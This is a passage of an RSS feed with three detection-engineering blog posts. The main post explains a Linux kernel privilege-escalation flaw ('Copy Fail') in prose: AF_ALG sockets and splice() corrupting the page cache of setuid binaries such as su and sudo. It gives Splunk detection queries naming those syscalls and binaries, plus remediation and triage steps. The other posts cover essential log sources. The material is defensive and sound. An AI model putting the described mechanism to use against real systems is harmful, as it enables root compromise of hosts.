src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd935a6c8f92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Silent Root: Detecting the “Copy Fail” Vulnerability (CVE-2026–31431)]]></title>
            <link>https://medium.com/@asah-cyber/the-silent-root-detecting-the-copy-fail-vulnerability-cve-2026-31431-caf081c6da83?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/caf081c6da83</guid>
            <category><![CDATA[copyfail]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Tue, 05 May 2026 19:53:24 GMT</pubDate>
            <atom:updated>2026-05-05T20:06:13.102Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3aYXcn0j_L5okRoI_41cdQ.png" /></figure><h3>The Threat: Understanding the Attack Vector</h3><p>The “Copy Fail” vulnerability (CVE-2026–31431) is a critical local privilege escalation (LPE) flaw rooted in a logic error within the Linux kernel’s crypto subsystem, specifically the authencesn module. First identified in a proof-of-concept by researchers from Xint Code, the exploit targets an algif_aead in-place optimization that has been present in major distributions since 2017.</p><p>By abusing the AF_ALG socket interface and the splice() system call, an unprivileged user can force a write directly into the page cache of a setuid binary. Because this corruption happens entirely in memory, the physical file on disk remains completely unchanged—rendering traditional File Integrity Monitoring (FIM) and checksum tools useless.</p><p>Attackers leverage this to inject shellcode into binaries like /usr/bin/su or /usr/bin/sudo, securing an interactive root shell upon execution. As highlighted in recent CERT-EU advisories, this provides a highly reliable vector for container escape and host compromise in modern enterprise environments. Because containers inherently share the underlying host’s kernel, a single unprivileged pod can compromise the entire node&#39;s memory subsystem.</p><p><strong>MITRE ATT&amp;CK Mapping:</strong></p><ul><li><strong>TA0004</strong>: Privilege Escalation</li><li><strong>T1068</strong>: Exploitation for Privilege Escalation</li><li><strong>T1611</strong>: Escape to Host</li><li><strong>T1562.001</strong>: Impair Defenses: Disable or Modify Tools</li></ul><h3>The Data: What the Raw Logs Look Like in Splunk</h3><p>Since FIM fails to spot memory-only corruption, detection relies entirely on behavioral telemetry from EDR agents, Auditd, or Sysmon for Linux. The raw data will typically showcase anomalous system call sequences and unexpected privilege shifts.</p><p>Key indicators to hunt for in your Splunk indices include:</p><ol><li><strong>Syscall Anomalies:</strong> The explicit creation of AF_ALG sockets by unprivileged accounts, followed closely by a splice() syscall targeting a setuid binary.</li><li><strong>Execution Anomalies:</strong> A non-root account running an exploited setuid binary and suddenly spawning processes with a User ID (UID) of 0.</li></ol><h3>The Detection: Splunk SPL Queries</h3><p>Based on active threat intelligence, here are the targeted SPL queries designed to catch the three primary behavioral phases of the Copy Fail attack:</p><p><strong>1. Unprivileged AF_ALG Socket Creation (Copy Fail CVE-2026–31431)</strong> This query searches for processes requesting the AF_ALG address family, which is rarely used by standard unprivileged applications.</p><p>Splunk SPL</p><pre>index=&quot;linux_audit&quot; ((type=&quot;SYSCALL&quot; AND SYSCALL=&quot;socket&quot; AND a0=38) AND NOT auid=&quot;0&quot;)<br>| stats min(_time) as firstTime max(_time) as lastTime values(auid) as auid values(host) as host values(UID) as user count by uid</pre><p><em>Note: If your environment uses a custom command script to enrich socket events with standard Linux protocol definitions, pipe these results through it to streamline analyst triage.</em></p><p><strong>2. Splice Syscall Targeting Setuid Binary</strong> Looking for the specific exploitation mechanism where splice interacts with known privilege-escalation binaries.</p><p>Splunk SPL</p><pre>index=&quot;linux_audit&quot; (type=SYSCALL AND SYSCALL=&quot;splice&quot; AND (exe=&quot;*/usr/bin/su*&quot; OR exe=&quot;*/usr/bin/sudo*&quot; OR exe=&quot;*/usr/bin/passwd*&quot; OR exe=&quot;*/etc/passwd*&quot;)) AND NOT auid=0<br>| stats min(_time) as firstTime max(_time) as lastTime values(auid) as auid values(host) as host values(UID) as user count by uid</pre><p><strong>3. Unexpected UID 0 for Non-Root User Account</strong> This query identifies the final stage of the attack: an account suddenly operating with root privileges without a legitimate authentication trail.</p><p>Splunk SPL</p><pre>index=linux_audit ((uid=&quot;0&quot; OR uid=&quot;0000&quot;) AND NOT (user=&quot;root&quot;))<br>| stats min(_time) as firstTime max(_time) as lastTime values(host) as host count by user</pre><h3>The Tuning: Filtering Out the Noise</h3><p>To ensure these rules remain high-fidelity and usable in massive environments, proactive tuning is required:</p><ul><li><strong>Cloud Telemetry Correlation:</strong> Host-level alerts should not exist in a vacuum. Cross-reference these Linux detections with AWS CloudTrail data. If an EC2 instance or EKS node triggers the AF_ALG socket alert and CloudTrail immediately logs anomalous sts:AssumeRole calls or broad infrastructure enumeration (ec2:Describe*) from that instance&#39;s IAM role, elevate the severity to critical. The attacker is actively pivoting from the host into the broader cloud control plane.</li><li><strong>Baselining Authorized Utilities:</strong> Some legitimate software may utilize AF_ALG for hardware-accelerated cryptography. Build a lookup table of known-good hashes and paths for your environment to exclude approved, signed binaries from the socket creation alert.</li><li><strong>Seccomp Policy Context:</strong> If your container orchestration relies heavily on seccomp profiles to block AF_ALG entirely for untrusted workloads, configure your alerts to deprioritize blocked syscall attempts and only fire critical incidents for successful bypasses.</li></ul><h3>Remediation Strategies</h3><ol><li><strong>Kernel Update (Primary):</strong> Apply the patch that reverts algif_aead.c to out-of-place operation (Commit a664bf3d603d).</li><li><strong>Module Blacklisting:</strong> If AF_ALG is not required for your workload, disable the module:</li></ol><pre>echo &quot;install algif_aead /bin/false&quot; &gt; /etc/modprobe.d/disable-algif-aead.conf<br>rmmod algif_aead</pre><p>3. <strong>Seccomp Prohibitions:</strong> In Kubernetes/Docker environments, update Seccomp profiles to explicitly deny the socket(AF_ALG, ...) system call for unprivileged containers.</p><h3>Triage Playbook: “Copy Fail” Detection</h3><p>When one of your Splunk alerts triggers, follow this sequence to confirm the breach:</p><h4>Phase 1: Contextual Validation</h4><ul><li><strong>Identify the User:</strong> Is the auid a service account or a human user? Service accounts (e.g., www-data, jenkins) should <strong>never</strong> be calling AF_ALG.</li><li><strong>Check the Binary:</strong> Look at the exe field in the splice alert. If the source file is /usr/bin/su, /usr/bin/sudo, or /usr/bin/passwd, treat this as <strong>High Severity</strong>.</li></ul><h4>Phase 2: Behavioral Correlation</h4><ul><li><strong>Search for Follow-on Commands:</strong> In Splunk, search for the same host and ppid (parent process ID) within a 5-minute window of the alert.</li><li><em>Search:</em> index=linux_audit host=&lt;ALERT_HOST&gt; ppid=&lt;ALERT_PID&gt; | table _time, exe, cmdline</li><li><em>Goal:</em> Look for whoami, id, or the creation of new SSH keys/users.</li><li><strong>Cloud Cross-Check:</strong> If the host is an EC2 instance, check CloudTrail for the Instance Role’s activity. Look for Describe calls or AssumeRole attempts immediately following the host alert.</li></ul><h4>Phase 3: Integrity Verification</h4><ul><li><strong>Clear Page Cache:</strong> If you suspect a binary like su is corrupted in memory but you cannot reboot, you can force the kernel to drop the page cache: echo 3 &gt; /proc/sys/vm/drop_caches <em>Note: If the exploit is re-run, the corruption will return. This is a temporary diagnostic step.</em></li><li><strong>Comparison:</strong> Run sha256sum on the binary. If it matches the known-good hash, but the <em>behavior</em> was malicious, it confirms a &quot;Copy Fail&quot; (memory-only) style attack.</li></ul><h4>Phase 4: Containment</h4><ul><li><strong>Isolate the Host:</strong> Immediately isolate the affected instance from the network.</li><li><strong>Snapshot Memory:</strong> If possible, take a memory dump before termination to capture the corrupted page cache for forensic evidence.</li></ul><h3>References</h3><ul><li><strong>Xint.io:</strong> <a href="https://xint.io/blog/copy-fail-linux-distributions">Copy Fail: 732 Bytes to Root on Every Major Linux Distribution</a> — <em>The original research and technical deep-dive.</em></li><li><strong>SOC Prime:</strong> <a href="https://socprime.com/active-threats/cve-2026-31431-copy-fail-linux-root-escalation/">CVE-2026–31431: “Copy Fail” Linux Root Escalation</a> — <em>Threat hunting context and community-driven detection logic.</em></li><li><strong>CERT-EU Advisory:</strong> <a href="https://cert.europa.eu/publications/security-advisories/2026-005/">High Vulnerability in the Linux Kernel (“Copy Fail”)</a> — <em>Official guidance for infrastructure protection and Kubernetes hardening.</em></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=caf081c6da83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Non-Negotiables: Building Your Detection Backbone]]></title>
            <link>https://medium.com/@asah-cyber/the-non-negotiables-building-your-detection-backbone-dcc91ea7e7f1?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/dcc91ea7e7f1</guid>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[log-analysis]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 07:28:10 GMT</pubDate>
            <atom:updated>2026-01-09T07:28:10.220Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IzSi5AEYIm2TQzHPDY-L7w.png" /></figure><h3>Sifting through the noise to find the telemetry that actually matters.</h3><p>In my previous post, I mentioned that more data doesn’t equal more security. If you’re working in an huge and complex environment like I am, you’re likely dealing with terabytes of data. Trying to find a threat in that volume without a strategy is like trying to find a needle in a haystack — while someone keeps dumping more hay on top of you.</p><p>Today, let’s talk about <strong>Log Analysis</strong> at scale: why it’s the heart of detection engineering and the specific “non-negotiable” logs I refuse to live without.</p><h3>1. The “What”: Why Log Analysis is Your Engine</h3><p>Log analysis is the process of turning raw, cryptic strings of text into a narrative of user and system behavior.</p><p>In a modern SIEM (like Splunk), we aren’t just looking for “bad” events; we are looking for <strong>deviations from the norm.</strong> To do that effectively, you need a high-level overview of your environment’s “pulse.” If you don’t know what <em>normal</em> looks like in your Linux auth logs or your Windows process tree, you’ll never recognize the <em>abnormal</em>.</p><h3>2. The “Why”: The Art of Picking Your Battles</h3><p>The biggest challenge in detection engineering isn’t writing the code; it’s <strong>telemetry selection.</strong> Every log source has a “cost” — not just in Splunk licensing dollars, but in analyst “brain cycles.” We pick specific pieces of telemetry because they offer the highest <strong>signal-to-noise ratio.</strong> At bare minimum, I categorize my “non-negotiables” into three pillars:</p><h3>3. The “Non-Negotiables”: My Baseline for Defense</h3><h4>Linux: The Source of Truth</h4><p>On the Linux side, if these aren’t coming into the SIEM, we are flying blind:</p><ul><li><strong>auditd:</strong> This is the gold standard. It records system calls. If an attacker modifies a sensitive file or escalates privileges, auditd is where we catch the &quot;how.&quot;</li><li><strong>/var/log/secure &amp; </strong><strong>/var/log/auth.log:</strong> Non-negotiable for monitoring SSH attempts, sudo usage, and credential stuffing. If someone is knocking on the door (or kicking it in), these logs tell us.</li></ul><h4>Windows: The Critical Event IDs</h4><p>You don’t need every Windows event, but you <strong>must</strong> have these to build a resilient detection pipeline :</p><ul><li><strong>4688 (Process Creation):</strong> Tells you <em>what</em> was executed and, with proper auditing enabled, by whom and with what command line.</li><li><strong>4624/4625 (Logon/Logon Failure):</strong> Essential for tracking authentication patterns, brute force activity, and lateral movement.</li><li><strong>4672 (Special Privileges Assigned):</strong> Useful for identifying administrative or highly privileged logons.</li><li><strong>7045 (Service Installation):</strong> A classic indicator of persistence, such as an attacker installing a malicious or backdoor service.</li></ul><h4>EDR Telemetry: The Deep Visibility</h4><p>While SIEM logs give us the “who and when,” <strong>EDR (Endpoint Detection &amp; Response)</strong> telemetry gives us the “exactly what.” EDR data is non-negotiable because it provides:</p><ul><li><strong>Process Lineage:</strong> Seeing that cmd.exe was spawned by outlook.exe is a massive red flag that standard logs might miss.</li><li><strong>Network Connections:</strong> Linking a specific process ID (PID) to an external IP address in real-time.</li></ul><blockquote><strong>Reality Check: Start Slow, then Expand</strong></blockquote><blockquote>I want to be clear: <strong>The logs mentioned above are the bare minimum.</strong> This list isn’t the finish line; it’s the starting block. You don’t need to ingest every data source in your company’s infrastructure on day one to be effective. In fact, trying to do that usually leads to a messy SIEM and an exhausted team.</blockquote><blockquote><strong>My advice? Start slow.</strong> Master these “non-negotiables” first. Build high-fidelity alerts around them, tune out the noise, and once you have a solid baseline, start expanding into specialized logs like DNS, CloudTrail, or application-specific telemetry.</blockquote><h3>4. The Audience: What Can You Expect?</h3><p>Now that we have established both the <em>what</em> and the <em>why</em> of our data sources, the discussion must shift to the <em>how</em> — specifically, how those sources are managed, normalized, and made operational at scale. Possessing logs is table stakes; transforming them into data that is searchable, structured, and context-rich is where real detection value is created.</p><p>Whether you are a SOC analyst validating an alert or a senior engineer architecting a data lake, the objective is the same: actionable context. In the upcoming posts, I will move away from abstract discussions about logs and focus instead on the SPL that operationalizes them. We will take these non-negotiables and turn them into concrete, high-fidelity detections — alerts you can actually deploy and trust, without being overwhelmed by false positives.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dcc91ea7e7f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The “Why” Behind the “What”: Stepping into Detection Engineering]]></title>
            <link>https://detecteng.com/the-why-behind-the-what-stepping-into-detection-engineering-71f616faf7e8?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/71f616faf7e8</guid>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Mon, 29 Dec 2025 16:56:03 GMT</pubDate>
            <atom:updated>2026-01-28T06:27:16.164Z</atom:updated>
            <content:encoded><![CDATA[<p>After a decade in the tech trenches and several years focused on the cat-and-mouse game of cybersecurity, I’ve realized that the best defenses aren’t bought — they’re built.</p><p>As a Senior Detection Engineer at a large MNC, I spend my days dissecting logs, and trying to think two steps ahead of an adversary. I’m starting this blog because I want to pull back the curtain on what we actually do and, more importantly, <em>why</em> it matters.</p><h3>What is Detection Engineering?</h3><p>To me, Detection Engineering is the bridge between threat intelligence and incident response. It’s not just about “writing a rule” or “creating an alert.” If you just turn on every out-of-the-box signature, you’ll end up with a wall of noise that leads to analyst burnout.</p><p>True detection engineering is a <strong>continuous cycle</strong>:</p><ol><li>Understanding the attacker’s tradecraft (The “How”).</li><li>Identifying the telemetry in our environment (The “Logs”).</li><li>Writing logic to surface the signal from the noise (The “Code”).</li><li>Testing, tuning, and breaking things until they work (The “Validation”).</li></ol><h3>Why am I starting this blog?</h3><p>Over my 10-year journey, I’ve seen how easy it is to get lost in the “technical weeds.” I wanted a space to document my own learnings, share the logic behind my Splunk SPL queries, and contribute back to a community that has helped me so much.</p><p>I’m not here to just give you a list of rules to copy-paste. I want to explain the <em>philosophy</em> behind the detections — why we look for certain patterns and how to make those detections resilient against “bypass” techniques.</p><h3>Who is this for?</h3><p>If you fit into any of these buckets, you’ll feel right at home here:</p><ul><li><strong>SOC Analysts</strong> looking to move beyond “closed-true-positive” and start building their own logic.</li><li><strong>Security Engineers</strong> who use Splunk (or other SIEMs) and want to optimize their detection pipeline.</li><li><strong>Aspiring Detection Engineers</strong> who want to see what the day-to-day reality of the role looks like in a large-scale corporate environment.</li><li><strong>Curious Techies</strong> who, like me, enjoy the puzzle of finding a needle in a haystack of terabytes of data.</li></ul><h3>What can you expect?</h3><p>My goal is <strong>Lucidity</strong> and <strong>Accuracy</strong>. I won’t just copy-paste generic rules from the internet. Every post will follow a structure designed to be actionable:</p><ul><li><strong>The Threat:</strong> Understanding the attack vector (mapped to MITRE ATT&amp;CK).</li><li><strong>The Data:</strong> What the raw logs look like in Splunk.</li><li><strong>The Detection:</strong> The specific SPL query to catch it.</li><li><strong>The Tuning:</strong> How to filter out the noise that usually makes these rules unusable in large environments.</li></ul><p>Welcome to the engineering side of defense. Let’s start building.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71f616faf7e8" width="1" height="1" alt=""><hr><p><a href="https://detecteng.com/the-why-behind-the-what-stepping-into-detection-engineering-71f616faf7e8">The “Why” Behind the “What”: Stepping into Detection Engineering</a> was originally published in <a href="https://detecteng.com/">The Detection Engineer</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>